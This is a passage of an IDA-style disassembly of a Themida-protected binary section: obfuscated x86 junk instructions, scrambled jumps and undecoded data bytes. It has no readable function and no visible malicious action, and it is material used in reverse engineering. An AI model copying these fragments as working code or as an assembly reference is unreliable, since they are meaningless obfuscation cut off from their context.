		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F8D8B:				; CODE XREF: Themida_:005FEC70j
		mov	[esp], edx
		jmp	loc_5FE11D
; ---------------------------------------------------------------------------
		db 66h
		dd 9C2404FFh, 38B5E9h, 24348B00h, 4C481h, 0CE90000h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8DAB:				; CODE XREF: Themida_:005FD734j
		mov	edx, 345E3EB5h
		add	ebp, edx
		pop	edx
		push	eax
		mov	eax, 4AF87D6Bh
		and	ebp, eax
		pop	eax
		dec	ebp
		add	ebp, 0F78FFEE3h
		add	ebx, 257242F7h
		sub	ebx, ebp
		jmp	loc_5FE2BB
; ---------------------------------------------------------------------------
		dd 158C729h, 94C781C7h,	0E939EE4Ch, 34C5h
off_5F8DE0	dd offset dword_592A7C+6ECh ; DATA XREF: Themida_:005F66F4o
		dd 241C8900h, 665BF3BBh, 0FFEB8103h, 81FFFFFFh,	461D6FEBh
		dd 0FFB951BBh, 56FFFFFFh, 9D57CEBEh, 0FEC68104h, 81799914h
		dd 0D027A7CEh, 45C6811Dh, 29B02DE7h, 0CB295EF3h, 5734C381h
		dd 34FF3024h, 0C4835924h, 86F38104h, 948203Ah, 97E91C5Fh
		dd 5B000093h, 4DE8EF81h, 0CF014103h, 4DE8C781h,	0A7E94103h
		dd 0BE000008h, 78AB7457h, 0FF5EF329h, 835E2434h, 1C8704C4h
		dd 24248B24h, 0CE68E9F7h, 89000018h, 9C502414h,	0FFDAD2E9h
		dd 2434FFFFh, 57241C8Bh, 0C781E789h, 4,	4C781h,	0DE90000h
		db 0F7h, 2 dup(0FFh)
byte_5F8E8B	db 66h			; DATA XREF: Themida_:005F6878o
		dd 0E924048Bh, 6A6Eh, 95A2E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8E9A:				; CODE XREF: Themida_:005FBAEBj
		pop	ebx
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		sub	esp, 4
		jmp	loc_602E9D
; ---------------------------------------------------------------------------


loc_5F8EAE:				; CODE XREF: Themida_:005F77A7j
		inc	eax
		push	esi
		push	edi
		mov	edi, 40C41521h
		jmp	loc_5FF0AD
; ---------------------------------------------------------------------------


loc_5F8EBB:				; CODE XREF: Themida_:005FE433j
		add	al, 0ACh
		add	al, bl
		sub	al, 0ACh
		jmp	loc_5FBFD4
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 615758D6h, 8107E5C1h, 0EDF7FCEDh, 4AC2813Dh,	1572E3Eh
		dd 4AEA81EAh, 8B572E3Eh, 83E9242Ch, 0B700008Ch,	0DDC78083h
		dd 0E986F780h, 2329h
; ---------------------------------------------------------------------------


loc_5F8EF8:				; CODE XREF: Themida_:005FDAC6j
		sub	[esp], ecx
		pop	ecx
		dec	ecx
		inc	ecx
		push	ebx
		jmp	loc_600021
; ---------------------------------------------------------------------------
dword_5F8F04	dd 240C8B66h, 48B5450h,	21E3E924h		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8F12:				; CODE XREF: Themida_:005F782Cj
		mov	ebp, 7B0871DBh
		xor	ebx, ebp
		pop	ebp
		jmp	loc_5FDB77
; ---------------------------------------------------------------------------
		db 35h
		dd 675F441Fh, 0FFED2EE9h, 24048FFFh, 0E924248Bh, 706Fh
		dd 0BEE9EFD1h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8F3B:				; CODE XREF: Themida_:005F8783j
		mov	[esp], ebp
		mov	ebp, 69F97693h
		xor	[esp+4], ebp
		pop	ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5F95D4
; ---------------------------------------------------------------------------
		db 2Dh
		dd 5DA06D25h, 0CD21222Dh, 58C789CDh, 15FFB89h, 0DCE950C3h
		dd 52000097h, 0E28080B2h, 510E9A5h, 0E95B0000h,	0FFFFEF18h
		dd 2159CE89h, 0E95E1C77h, 642Fh
; ---------------------------------------------------------------------------


loc_5F8F88:				; CODE XREF: Themida_:0060090Cj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5FFA8E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0C0B60F00h, 324CE9h
		db 0
byte_5F8FA5	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005F6724o
		dd 6658669Dh, 9C240419h, 0FFD98EE9h, 81E389FFh,	4C3h, 4C38100h
		dd 0E9000000h, 8677h, 4BFh, 2634E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8FD2:				; CODE XREF: Themida_:005FF40Fj
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5FE3DD
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C4h, 4812E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8FEA:				; CODE XREF: Themida_:006020F9j
		not	edx
		jmp	loc_5F840F
; ---------------------------------------------------------------------------
		db 88h,	0D7h, 0E9h
		dd 54F8h, 6859CD29h, 4279h, 81242C89h, 2D25242Ch, 0E95B080Bh
		dd 67BAh
dword_5F9010	dd 0FF2434FFh, 48B2434h, 0C1E95624h, 8300001Ch,	0DDE904C1h
					; DATA XREF: Themida_:005F6804o
		dd 56000098h, 4BEh, 24740100h, 0C8B5E04h, 5CACE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F903A:				; CODE XREF: Themida_:005FEACFj
		mov	[esp], edi
		mov	edi, 7AD15434h
		neg	edi
		sub	edi, 687F5F80h
		and	edi, 2611A31h
		neg	edi
		push	ebx
		push	esi
		mov	esi, 1C1B1901h
		jmp	loc_601378
; ---------------------------------------------------------------------------


loc_5F905E:				; CODE XREF: Themida_:005FA1ACj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5F7248
; ---------------------------------------------------------------------------
		dd 8324148Bh, 0C38104C4h, 4, 3915E9h, 241C8700h, 2B56E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F9085:				; CODE XREF: Themida_:005F6D90j
		shr	eax, 5
		add	eax, 8C79C0B9h
		add	ebx, eax
		pop	eax
		add	edx, ebx
		jmp	loc_5FE937
; ---------------------------------------------------------------------------


loc_5F9097:				; CODE XREF: Themida_:005F72E9j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5FEEB9
; ---------------------------------------------------------------------------
		dw 662Ch
		dd 0BBE9C800h, 0FF00000Dh, 0E6E92434h, 87000030h, 505C2404h
		dd 0F52280B8h, 0E9D0F75Dh, 95ECh
; ---------------------------------------------------------------------------


loc_5F90C4:				; CODE XREF: Themida_:005FE101j
		pop	ecx
		push	5ACh
		jmp	loc_5FF94A
; ---------------------------------------------------------------------------
		db 81h
		dd 29FEACEDh, 8BEE89EDh, 0C481242Ch, 4,	0C685546h, 0E97DBB10h
		dd 47AEh, 4240481h, 0E9000000h,	0FFFFFD79h
; ---------------------------------------------------------------------------


loc_5F90F8:				; CODE XREF: Themida_:005FEB75j
		pop	edi
		push	eax
		jmp	loc_5F8358
; ---------------------------------------------------------------------------
aMsff		db 'F',0             ; DATA XREF: Themida_:005F68A8o
		dd 0D6896600h, 8124148Bh, 4C4h,	0F0296600h, 6685E66h, 89000027h
		dd 68562414h, 4786h, 66240C89h,	66337AB9h, 66284ABEh, 5559CE01h
		dd 66F58966h, 2C816655h, 662CB424h, 0C281665Ah,	5E5D2CB4h
		dd 2EAC166h, 7CE28166h,	8FC2E929h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F9156:				; CODE XREF: Themida_:005FABF5j
		xor	ebp, [esp]
		jmp	loc_5FAF60
; ---------------------------------------------------------------------------


loc_5F915E:				; CODE XREF: Themida_:005FA284j
		not	dword ptr [esp]
		pop	eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5F6D5A
; ---------------------------------------------------------------------------
		dd 6C406856h, 0C3E967F6h, 33FFFFD9h, 4312404h, 24043324h
		dd 3031E9h, 38DBF00h, 0EF815E99h, 5E990389h, 3C8BFB01h
		dd 4C48124h, 57000000h,	2BFh, 5FFB0100h, 0E9241C87h, 5C55h
		dd 4590D04h, 2CD8286Eh,	0E91C046Eh, 0FFFFF2CDh,	3D1EE81h
		dd 0C60170D7h, 943B850h, 8E050823h, 168B3FAh, 0EE8158C6h
		dd 13A54BE8h, 0A9EE8158h, 1316B69h, 0A9C681D6h,	81316B69h
		dd 326C52EEh, 2434FF43h, 0E789575Ah, 4C781h, 0C7830000h
		dd 243C8704h, 5656515Ch, 0C4637EBEh, 2474017Bh,	56595E04h
		dd 0C4637EBEh, 5EF1297Bh, 0DAD8E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F9222:				; CODE XREF: Themida_:00601991j
		mov	cl, 0F4h
		add	bl, 4Ch
		add	bl, cl
		sub	bl, 4Ch
		mov	cx, [esp]
		jmp	loc_5F9FCA
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4BD55h, 6C010000h, 0E95D0424h, 359Dh, 81E68956h, 4C6h
		dd 4C68300h, 5C243487h,	0E904C283h, 1A1Fh, 0B51FBABAh
		dd 79CA812Ch, 0F7561745h, 0FFC281DAh, 817EB75Fh, 143F5BEBh
		dd 1275E96Ch, 34890000h, 56E95424h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F9287:				; CODE XREF: Themida_:005FDB82j
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		push	ecx
		push	esi
		mov	esi, 77D64F37h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		neg	eax
		xchg	eax, [esp]
		pop	esi
		jmp	loc_6003DC
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0BF57E089h, 280F2613h, 0C781DFF7h, 5E9A726Fh, 0F5D7BA52h
		dd 0D7013C10h, 98B2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F92DD:				; CODE XREF: Themida_:005F9FBCj
		mov	ebp, 5D5EF2D4h
		push	edi
		push	ebp
		pop	edi
		push	esi
		mov	esi, edi
		jmp	loc_6028C5
; ---------------------------------------------------------------------------
byte_5F92ED	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005F68F0o
		dd 4EC8159h, 89000000h,	2BE92414h, 5B000077h, 4B37B850h
		dd 0E0D17F99h, 0F5564C0Dh, 23673518h, 0E0C13C3Eh, 0F5E94802h
		dd 89000037h, 4C281E2h,	81000000h, 4EAh, 24148700h, 3D62E9h
		dd 4C68100h, 50000000h,	5F4BB9B8h, 8C6EE920h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F9342:				; CODE XREF: Themida_:005FA2A5j
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		jmp	loc_5FEEF7
; ---------------------------------------------------------------------------
byte_5F9361	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005F677Co
		dd 0D359669Dh, 0E99C241Ch, 0FFFFD5D3h
; ---------------------------------------------------------------------------


loc_5F9370:				; CODE XREF: Themida_:005FE28Bj
		pop	ebp
		xor	eax, 57916E7Fh
		add	eax, 1
		inc	eax
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		add	eax, 987F2DB9h
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_602C5D
; ---------------------------------------------------------------------------
		dw 8166h
		dd 0E97ABDF1h, 1748h
aM0H8		db '0h8',0Dh,0        ; DATA XREF: Themida_:005F6708o
		align 4
		dd 0B5240C89h, 0DE35E9FDh, 0E1C1FFFFh, 0F0E94902h
		db 7Eh,	2 dup(0)
byte_5F93B7	db 66h			; DATA XREF: Themida_:005F668Co
		dd 8324048Bh, 0EFE904ECh
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F93C3:				; CODE XREF: Themida_:005FC26Bj
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 0AA026Dh
		sub	ebx, 1B010A1Eh
		dec	ebx
		neg	ebx
		shr	ebx, 5
		sub	ebx, 0D2B839h
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4


loc_5F93EE:				; CODE XREF: Themida_:00601F68j
		push	149Eh
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, 41365DCDh
		add	ebx, 2A493501h
		add	ebx, eax
		sub	ebx, 2A493501h
		sub	ebx, 41365DCDh
		jmp	loc_602E49
; ---------------------------------------------------------------------------
byte_5F9439	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:005F666Co
		dd 0FFFFD503h, 5C241C87h, 0BE243489h, 200h, 348BF021h
		dd 0C74E924h
		db 2 dup(0)
word_5F9456	dw 0E9ACh		; DATA XREF: Themida_:005F672Co
		dd 126Ah
; ---------------------------------------------------------------------------


loc_5F945C:				; CODE XREF: Themida_:00601D75j
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_602918
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_5FE0FE
; ---------------------------------------------------------------------------
		dw 0B050h
		dd 0F63B0CDDh, 82E951D8h, 8900006Fh, 4B850E1h, 1000000h
		dd 0BE5658C1h, 4, 82E9F101h
		db 4Ch,	2 dup(0)
byte_5F94AB	db 66h			; DATA XREF: Themida_:005F67A0o
		dd 8124048Bh, 4ECh, 24348900h, 24348B54h, 4C481h, 0C6810000h
		dd 4, 2B850h, 0C6010000h, 582434FFh, 57E68956h,	4BFh, 5FFE0100h
		dd 4C681h, 34870000h, 34335C24h, 24343124h, 8B243433h
		dd 1662424h, 0E99C2404h, 0FFFFD443h, 54243489h,	95BA525Eh
		dd 0E9046462h, 5DB3h
; ---------------------------------------------------------------------------


loc_5F9510:				; CODE XREF: Themida_:005FC460j
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 12596DB3h
		neg	ecx
		sub	ecx, 2AA74CC4h
		inc	ecx
		push	eax
		mov	eax, 1AD14063h
		add	eax, 0A82E0523h
		sub	ecx, eax
		jmp	loc_5FFC0F
; ---------------------------------------------------------------------------
		dd 82B15150h, 0C8BC888h, 4C48124h, 24000000h, 4F1CE99Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F954A:				; CODE XREF: Themida_:005F8415j
		and	edx, 34222592h
		jmp	loc_5F7DEE
; ---------------------------------------------------------------------------
byte_5F9555	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:005F66DCo
		dd 4EC81h, 3C890000h, 0E9E8E924h, 895CFFFFh, 0FF54243Ch
		dd 835F2434h, 0C78104C4h, 4, 26856h, 348B0000h,	0E2895224h
		dd 4C281h, 0C2810000h, 4, 1E68E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F9595:				; CODE XREF: Themida_:005FA51Bj
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		sub	ebp, 3B0419CAh
		add	ebp, 7FA57202h
		add	ebp, ebx
		sub	ebp, 7FA57202h
		jmp	loc_5F8B72
; ---------------------------------------------------------------------------
		db 5Bh,	1, 0D3h
		dd 241C875Ah, 1B76E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F95C6:				; CODE XREF: Themida_:005F8BDCj
		push	cx
		pushf
		jmp	loc_5F6943
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFE29Ch
; ---------------------------------------------------------------------------


loc_5F95D4:				; CODE XREF: Themida_:005F8F4Ej
		xor	ebp, 69F97693h
		pop	edi
		push	ebp
		add	dword ptr [esp], 51953D99h
		pop	ebx
		jmp	loc_602ABD
; ---------------------------------------------------------------------------


loc_5F95E9:				; CODE XREF: Themida_:005FFDB9j
		sub	esp, 4
		mov	[esp], edx
		push	7EF6379Fh
		jmp	loc_5FBB63
; ---------------------------------------------------------------------------
		db 1, 0FBh, 5Fh
		dd 8B241C87h, 0F7662424h, 1F1268E9h, 34890000h,	50E68924h
		dd 6426E9h, 2C08300h, 0FFFB5EE9h, 24248BFFh, 0FFF76EE9h
		db 0FFh
aNh		db 'h-',0             ; DATA XREF: Themida_:005F67F8o
		dw 8900h
		dd 3EBA2414h, 0E9286C3Eh, 0FFFFF12Fh, 0FCDDE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F963E:				; CODE XREF: Themida_:005FC968j
		mov	esp, [esp]
		push	29BDh
		mov	[esp], edi
		jmp	loc_5F8CCA
; ---------------------------------------------------------------------------


loc_5F964E:				; CODE XREF: Themida_:005FB30Aj
		sub	esi, 5F574271h
		jmp	loc_601EC1
; ---------------------------------------------------------------------------


loc_5F9659:				; CODE XREF: Themida_:005F707Cj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_6019E1
; ---------------------------------------------------------------------------
		dd 4C481h, 64E90000h, 51000060h, 3965E9h, 5BDE2100h, 480ECE81h
		dd 504601AEh, 7969F268h, 4F4FE97Ah, 0FF530000h,	0E9042474h
		dd 0FFFFE610h
; ---------------------------------------------------------------------------


loc_5F9694:				; CODE XREF: Themida_:005FED6Cj
		mov	ebp, 57BE1DCFh
		shl	ebp, 1
		and	ebp, 455028BDh
		inc	ebp
		add	ebp, 269DF62Eh
		jmp	loc_5F7DFB
; ---------------------------------------------------------------------------


loc_5F96AD:				; CODE XREF: Themida_:005F9EB0j
		pop	eax
		sub	ebx, 0EC43A9Ah
		jmp	loc_600A91
; ---------------------------------------------------------------------------


loc_5F96B9:				; CODE XREF: Themida_:005FE881j
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_5FB3B0
; ---------------------------------------------------------------------------
		db 42h
		dd 6E2C14Ah, 3FDEF281h,	5BE9133Ah
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F96DB:				; CODE XREF: Themida_:005F6E34j
		add	dword ptr [esp], 151468DFh
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 151468DFh
		jmp	loc_5FD6BB
; ---------------------------------------------------------------------------
aBqluGv		db 'luGV',0
		db 38h
		dd 68460112h, 51F7h, 55241C89h,	0EF28FDBDh, 94BEE92Fh
		dd 0BD550000h, 61BF24B2h, 6DE5E9h, 4C48300h, 94F2C181h
		dd 4AE913FBh, 81000055h, 0AB7457C3h, 68F30178h,	1EDDh
		dd 0E9243489h, 0FFFFF70Bh, 8071EA80h, 0D000DBC2h, 8324148Bh
		dd 0C80004C4h, 4EC81h, 1C890000h, 51AFB724h, 0EF0063B5h
		dd 7971E959h
		db 2 dup(0)
word_5F9766	dw 48Bh			; DATA XREF: Themida_:005F6784o
		dd 9E685224h, 54000016h, 8124048Fh, 42404h, 0E95A0000h
		dd 5267h, 3747F281h, 0C28117A6h, 3C812CE5h, 0FFE948E9h
		dd 0D9095BFFh, 0F7E1D15Bh, 76C981D1h, 8154BD3Fh, 428003C1h
		dd 0FEE818Bh, 8140CA4Ah, 1479C1EEh, 0E9CE010Fh,	2FBEh
; ---------------------------------------------------------------------------


loc_5F97B8:				; CODE XREF: Themida_:005FC4A8j
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		jmp	loc_6018C3
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 0FFEA93E9h, 685158FFh, 4, 81240C8Bh,	4C4h, 7C796800h
		dd 34890000h, 33D1BE24h, 0E9515C1Ch, 0FFFFDE47h, 0D2B4F781h
		dd 0F921FD32h, 0CDF1815Fh, 811B535Fh, 99705EEAh, 81CA2961h
		dd 99705EC2h, 50B9E961h, 0ED810000h, 0FC65711Ah, 85E9EE89h
		dd 56000090h, 42474FFh,	89EEE9h, 62E95500h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F982F:				; CODE XREF: Themida_:005FBD32j
		add	edx, ecx
		jmp	loc_5FCD32
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 28DD288Ah, 0EF81D7F7h, 0D700805Ch, 535FF901h, 4BBh
		dd 5BD92900h, 0FFF256E9h, 0E9EA29FFh, 4232h
dword_5F985C	dd 24048B66h, 2C8B5455h, 74ADE924h, 0C3010000h,	211DC381h
					; DATA XREF: Themida_:005F68ACo
		dd 48B7E02h, 21EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F987A:				; CODE XREF: Themida_:005FE65Cj
		sub	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 19D12DE9h
		push	4D84h
		jmp	loc_5FD22A
; ---------------------------------------------------------------------------
byte_5F988D	db 66h,	0Fh, 0B6h	; DATA XREF: Themida_:005F6798o
		dd 0BCA6802h, 14890000h, 56E28924h, 210E9h, 0D09DE900h
		dd 665CFFFFh, 53C8BE0Fh, 0EC815B54h, 4,	0B8240489h, 13A35F72h
		dd 3548D8F7h, 0EC5CA089h, 619FEB81h, 0EB8163D3h, 6CED105Fh
		dd 0C381C301h, 6CED105Fh, 235DE9h, 0BA525B00h, 2, 3A03E956h
		dd 0E9810000h, 68843E37h, 4FE9D9F7h, 58000039h,	0C8BCF01h
		dd 4C48324h, 0DAB95150h, 0E9282173h, 0FFFFE31Eh, 0A23B968h
		dd 0CA815A79h, 1CB51C4Eh, 2A51F281h, 0D5893339h, 8B5F555Ah
		dd 0C481242Ch, 4, 3C8BF831h, 4EC8324h, 0E9240C89h, 0FFFFFB57h
		dd 4BF57h, 0FD010000h, 242C335Fh, 0E9242C31h, 3FBAh
; ---------------------------------------------------------------------------


loc_5F9950:				; CODE XREF: Themida_:005FDAF5j
		xor	edx, ebp
		pop	ebp
		shr	edx, 5
		neg	edx
		jmp	loc_5F82BB
; ---------------------------------------------------------------------------


loc_5F995D:				; CODE XREF: Themida_:005FFC10j
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		xor	eax, edx
		xor	edx, eax
		jmp	loc_5FADBF
; ---------------------------------------------------------------------------
		db 97h,	0F7h, 0D7h
		dd 4B600597h, 0E0E9275Eh, 81000094h, 909E15EFh,	470E9A2h
		dd 53680000h, 5400003Ch, 0E924048Fh, 1B14h, 4240481h, 58000000h
		dd 405h, 4C08300h, 5C240487h, 0C800B804h, 0E959B82Ch, 6297h
; ---------------------------------------------------------------------------


loc_5F99C0:				; CODE XREF: Themida_:005FBE98j
		and	ebx, 7D922050h
		and	ebx, 3106D05h
		jmp	loc_5FB08E
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 33241431h, 248B2414h, 0B30F6624h, 0E99C2404h, 0FFFFCF5Bh
		dd 8EEC146h, 68h, 24342900h, 0EF55E95Eh, 248BFFFFh, 48B6624h
		dd 4EC8124h, 89000000h,	8B54242Ch, 0C481242Ch, 4, 271E6857h
		dd 0E95F147Fh, 7A12h, 8324048Bh, 0FF5204C4h, 5A042474h
		dd 0E924048Fh, 61B8h, 54243489h, 8124348Bh, 4C4h, 4EC8100h
		dd 89000000h, 4BA2414h,	55000000h, 4C5F8FBDh, 0E9504525h
		dd 26ABh, 8904EC83h, 0B753240Ch, 0E9F98852h, 0FFFFDADFh
; ---------------------------------------------------------------------------


loc_5F9A6C:				; CODE XREF: Themida_:005FB05Cj
		pop	ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_6001E8
; ---------------------------------------------------------------------------
		dw 0CD81h
		dd 56187F59h, 7BED81h, 0C5812CE2h, 0D5E78124h, 0FFDDF2E9h
		dd 0E9552CFFh, 65EEh, 104C483h,	0BB535BD8h, 2, 6440E9h
		dd 24048700h, 6BA8E9h, 4BE00h, 0C2810000h, 5A16EE9h, 0BB53F201h
		dd 5A16EE9h, 8B5BDA29h,	89562434h, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 0F7E9575Ch,	5A000003h, 2836EB80h, 3EE95BDCh
		dd 8B000029h, 8951241Ch, 4C181E1h, 81000000h, 4C1h, 51FBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F9B06:				; CODE XREF: Themida_:005FE429j
		mov	ebx, [esp]
		push	eax
		push	esp
		jmp	loc_5FB84C
; ---------------------------------------------------------------------------


loc_5F9B10:				; CODE XREF: Themida_:005FCEA3j
		xor	eax, 17ED20B3h
		jmp	loc_5FAB1D
; ---------------------------------------------------------------------------
		dw 468h
		dd 0E9000000h, 1A2Eh, 7419E956h, 3C890000h, 0F657E924h
		dd 0B60FFFFFh, 8734FFC0h, 0F1E6E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F9B3E:				; CODE XREF: Themida_:005FF8A0j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	48F4h
		jmp	loc_5FE50F
; ---------------------------------------------------------------------------
		db 0BFh
		dd 7E992768h, 1E88E781h, 9C685DE0h, 89000059h, 7BA2414h
		dd 211DA966h, 0DE35E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F9B6E:				; CODE XREF: Themida_:005FC506j
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	ebp
		push	edx
		mov	edx, 265D0CEBh
		mov	ebp, 53708480h
		sub	ebp, edx
		pop	edx
		and	ebp, 5B334CA3h
		jmp	loc_5FD72C
; ---------------------------------------------------------------------------


loc_5F9B90:				; CODE XREF: Themida_:005FFC0Aj
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_5F9CFB
; ---------------------------------------------------------------------------
		db 83h
		dd 866804C4h, 8900003Eh, 0E2892414h, 1363E9h, 0C2BD5500h
		dd 2121CC6Eh, 0EF815DEFh, 0BD5DCEE7h, 355FF889h, 45417377h
		dd 97146105h, 2E8C130h,	0F322548h, 2E2D3D3Dh, 810C3D00h
		dd 961AA4EEh, 81C60104h, 961AA4C6h, 0C6815804h,	4, 0FFE146E9h
		dd 0E0C280FFh, 285AD528h, 0D1BFE9E8h
		db 2 dup(0FFh)
word_5F9C06	dw 8B66h		; DATA XREF: Themida_:005F6814o
		dd 89532404h, 4C381E3h,	81000000h, 4EBh, 67EBE900h, 0FA300000h
		dd 0D0305B66h, 0E924148Bh, 3ECEh, 0F5E446BAh, 0E9FA3135h
		dd 834Dh
; ---------------------------------------------------------------------------


loc_5F9C38:				; CODE XREF: Themida_:005FF795j
		mov	[esp], ebp
		mov	ebp, 1
		push	2A18h
		mov	[esp], edi
		mov	edi, 5D0D48EDh
		add	[esp+8], edi
		mov	edi, [esp]
		add	esp, 4
		add	[esp+4], ebp
		push	6BEFh
		mov	[esp], eax
		push	ebx
		mov	ebx, 5AD121F0h
		neg	ebx
		add	ebx, 0B7DE6ADDh
		mov	eax, ebx
		pop	ebx
		sub	[esp+8], eax
		pop	eax
		mov	ebp, [esp]
		jmp	loc_602912
; ---------------------------------------------------------------------------
		dd 0FFCCBAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F9C89:				; CODE XREF: Themida_:005FF0B8j
		xchg	ebp, [esp]
		jmp	loc_5FE421
; ---------------------------------------------------------------------------


loc_5F9C91:				; CODE XREF: Themida_:005F7348j
		mov	ebx, [esp]
		jmp	loc_5FBDBB
; ---------------------------------------------------------------------------


loc_5F9C99:				; CODE XREF: Themida_:005F8851j
		add	ecx, 610521FAh
		pop	ebx
		and	eax, ecx
		pop	ecx
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	esp
		jmp	loc_5FFAA8
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 460EBE56h, 0F0297627h, 240C8B5Eh, 5F04C483h,	24F0BD55h
		dd 0B951135Eh, 7B531358h, 4903E9C1h, 710EF181h,	534161FEh
		dd 2F117ABBh, 18F8E951h, 0A1BE0000h, 31236D64h,	0FF685EF7h
		dd 0E900006Bh, 19AEh, 0EBE9E389h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F9CFB:				; CODE XREF: Themida_:005F9B9Ej
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_5FCEF2
; ---------------------------------------------------------------------------
		dd 805AF788h, 48E974F7h, 83FFFFCFh, 0EFC104C4h,	4EC8303h
		dd 0BB241C89h, 39AC1F1Ch, 0CD59B850h, 0C329E6DFh, 3257E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F9D2E:				; CODE XREF: Themida_:005F7DFDj
		pop	ebp
		dec	ecx
		add	ecx, 4A8E014Dh
		shr	ecx, 5
		add	ecx, 4C5E27ADh
		xor	ecx, 0AD004B5Bh
		jmp	loc_601996
; ---------------------------------------------------------------------------
aZz4HS		db 'Z4$\hS',0
		align 4
		dd 89241C89h, 1FF568E3h, 0C890000h, 3765E924h, 805A0000h
		dd 0E9510AEBh, 79FDh
; ---------------------------------------------------------------------------


loc_5F9D70:				; CODE XREF: Themida_:005FDB72j
		pop	ebx
		jmp	loc_600003
; ---------------------------------------------------------------------------
		dw 489h
		dd 1DF46824h, 0C9E90000h, 81000015h, 4EEh, 24348700h, 45CCE9h
		dd 50BF5700h, 81599152h, 48174DEFh, 77CF816Dh, 0E93E2F7Ch
		dd 6EAEh, 800BC580h, 686601C5h,	89660986h, 0E9502414h
		dd 0FFFFD30Dh, 0EAE95250h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F9DC3:				; CODE XREF: Themida_:005F8660j
